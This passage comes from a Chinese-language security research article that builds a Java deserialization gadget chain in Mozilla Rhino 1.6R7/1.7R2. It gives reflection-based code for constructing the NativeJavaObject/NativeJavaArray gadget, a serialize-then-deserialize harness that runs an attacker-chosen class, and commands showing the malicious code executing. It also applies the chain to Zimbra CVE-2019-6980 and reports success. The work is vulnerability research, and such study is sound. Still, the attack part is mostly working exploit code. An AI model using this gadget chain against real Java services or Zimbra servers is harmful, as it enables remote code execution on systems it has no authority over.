        Scriptable  parent,
        Object      javaObject,
        Scriptable  prototype
    )
 throws Exception
    
{
        Constructor<?>      cons_Object         = Object.class.getDeclaredConstructor();
        Constructor<?>      cons_NativeJavaArray
                                                = ReflectionFactory.getReflectionFactory().newConstructorForSerialization
        (
            NativeJavaArray.class,
            cons_Object
        );
        NativeJavaArray     nja                 = ( NativeJavaArray )cons_NativeJavaArray.newInstance();
        Field               f_parent            = NativeJavaObject.class.getDeclaredField( "parent" );
        Field               f_javaObject        = NativeJavaObject.class.getDeclaredField( "javaObject" );
        Field               f_prototype         = NativeJavaArray.class.getDeclaredField( "prototype" );
        f_parent.setAccessible( true );
        f_javaObject.setAccessible( true );
        f_prototype.setAccessible( true );
        f_parent.set( nja, parent );
        f_javaObject.set( nja, javaObject );
        /*
         * 对于1.6R7,NativeJavaObject、NativeJavaArray各有自己的成员
         * prototype,必须同时设置它们,这是个坑。
         *
         * 对于1.7R2,NativeJavaArray没有重载成员prototype,无此问题。
         *
         * 设置子类NativeJavaArray.prototype
         *
         * 若未设置,将来NativeJavaArray.getPrototype()不会返回env_1
         */

        f_prototype.set( nja, prototype );
        /*
         * 设置父类NativeJavaObject.prototype
         *
         * 若未设置,反序列化时有如下调用关系:
         *
         * NativeJavaObject.initMembers
         *   JavaMembers.lookupClass
         *     JavaMembers.<init>
         *       Context.getContext
         *         Context.getCurrentContext
         *           return null
         *         throw new RuntimeException("No Context associated with current Thread")
         *
         * 这个异常被捕获,不会直接抛到最外层,所以看不到提示信息
         */

        nja.setPrototype( prototype );
        return( nja );
    }

    private static NativeJavaObject PrivateInitNativeJavaObject
    (
        Scriptable  parent,
        Object      javaObject,
        boolean     isAdapter,
        Method      writeAdapterObject
    )
 throws Exception
    
{
        NativeJavaObject    njo                 = new NativeJavaObject();
        Field               f_parent            = NativeJavaObject.class.getDeclaredField( "parent" );
        Field               f_javaObject        = NativeJavaObject.class.getDeclaredField( "javaObject" );
        Field               f_isAdapter         = NativeJavaObject.class.getDeclaredField( "isAdapter" );
        Field               f_writeAdapterObject
                                                = NativeJavaObject.class.getDeclaredField( "adapter_writeAdapterObject" );
        f_parent.setAccessible( true );
        f_javaObject.setAccessible( true );
        f_isAdapter.setAccessible( true );
        f_writeAdapterObject.setAccessible( true );
        f_parent.set( njo, parent );
        f_javaObject.set( njo, javaObject );
        f_isAdapter.set( njo, isAdapter );
        f_writeAdapterObject.set( njo, writeAdapterObject );
        return( njo );
    }

    /*
     * 必须是public的,否则序列化时就抛异常。参看
     *
     * org.mozilla.javascript.JavaAdapter.writeAdapterObject()
     */

    public static void PrivateWriteAdapterObject ( Object javaObject, ObjectOutputStream out ) throws IOException
    
{
        out.writeObject( "java.lang.Object" );
        out.writeObject( new String[0] );
        out.writeObject( javaObject );
    }

    public static void main ( String[] argv ) throws Exception
    
{
        String                  evilclass   = argv[0];
        Object                  obj         = getObject( evilclass );
        ByteArrayOutputStream   bos         = new ByteArrayOutputStream();
        ObjectOutputStream      oos         = new ObjectOutputStream( bos );
        oos.writeObject( obj );
        ByteArrayInputStream    bis         = new ByteArrayInputStream( bos.toByteArray() );
        ObjectInputStream       ois         = new ObjectInputStream( bis );
        ois.readObject();
    }
}

看MozillaRhino2.java时有个疑惑,感觉它设置了两次NativeJavaArray.prototype,觉得没必要。编写NativeJavaObjectExec.java时我就只设置了一次,用1.7R2测试无误。后来用1.6R7测试时,意外发现此处有坑,对于1.6R7,必须设置两次,这两次设置的并不是同一个成员变量,分属父类、子类,如果只设其中一个,各有原因致使失败。

javac \
-encoding GBK -g -XDignore.symbol.file \
-cp "js-1.6R7.jar" \
NativeJavaObjectExec6.java

java \
-cp "js-1.6R7.jar:." \
NativeJavaObjectExec6 JacksonExploit.class

抛出异常,但恶意代码已被执行。

10.2.5) CVE-2019-6980(Zimbra)

参[91],tint0发现的洞,中国人fnmsd提供复现细节。

Synacor Zimbra Collaboration Suite 8.7.x through 8.8.11 allows insecureobject deserialization in the IMAP component.

tint0写道:

There are two main points. First, the class NativeJavaObject on
deserialization will store all members of an object's class. Members refer
to all elements that define a class such as variables and methods. In
Rhino context, it also detects when there's a getter or setter member and
if so, it declares and includes the corresponding bean as an additonal
member of this class. Second, a call to NativeJavaObject.get() will search
those members for a matching bean name and if one is found, invoke that
bean's getter. These match the nature of one of the native
'gadget helpers' - TemplatesImpl.getOutputProperties(). Essentially if we
can pass in the name 'outputProperties' in NativeJavaObject.get(), Rhino
will invoke TemplatesImpl.getOutputProperties() which will eventually lead
to the construction of a malicious class from our predefined bytecodes.
Searching for a place that we can control the passed-in member name leads
to the discovery of JavaAdapter.getObjectFunctionNames() and it's directly
accessible from NativeJavaObject.readObject().

6个月后终于彻底看懂上面这段话。

Zimbra 8.6.0的yuicompressor-2.4.2-zimbra.jar含有:

org.mozilla.javascript.*

按tint0的说法,源自1.6R7。

java \
-cp "yuicompressor-2.4.2-zimbra.jar:." \
NativeJavaObjectExec6 JacksonExploit.class

得手。

☆ 参考资源

[52]
    ysoserial
    https://github.com/frohoff/ysoserial/
    https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
    (A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization)
    (可以自己编译,不需要下这个jar包)

    git clone https://github.com/frohoff/ysoserial.git

[89]
    https://repo1.maven.org/maven2/rhino/js/1.6R7/js-1.6R7.jar
    https://repo1.maven.org/maven2/rhino/js/1.7R2/js-1.7R2.jar
    https://repo1.maven.org/maven2/rhino/js/1.7R2/js-1.7R2-sources.jar

    Return of the Rhino: An old gadget revisited - Matthias Kaiser [2016-05-04]
    https://codewhitesec.blogspot.com/2016/05/return-of-rhino-old-gadget-revisited.html

[90]
    利用反序列化进行JNDI注入 - Twings [2020-05-12]
    https://aluvion.gitee.io/2020/05/12/%E5%88%A9%E7%94%A8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9B%E8%A1%8CJNDI%E6%B3%A8%E5%85%A5/

[91]
    A Saga of Code Executions on Zimbra - An Trinh [2019-03-13]
    https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html

    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6980

    Zimbra SSRF+Memcached+反序列化漏洞利用复现 - fnmsd [2019-04-12]
    https://blog.csdn.net/fnmsd/article/details/89235589


本篇TXT原文:

http://scz.617.cn/web/202005261139.txt

个人主页的服务器和域名都是小钻风友情提供的。那个机房的交换机经常出故障,不能访问时,大部分因为这个,等他们重启交换机后就恢复。这几个月有不同网友反馈过。如果觉得某技术文档有帮助,建议右键下载、本地查看。在线版本如有更新,会在TXT中修改时间戳,年底会提供整站7z下载。

文章转载自青衣十三楼飞花堂,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论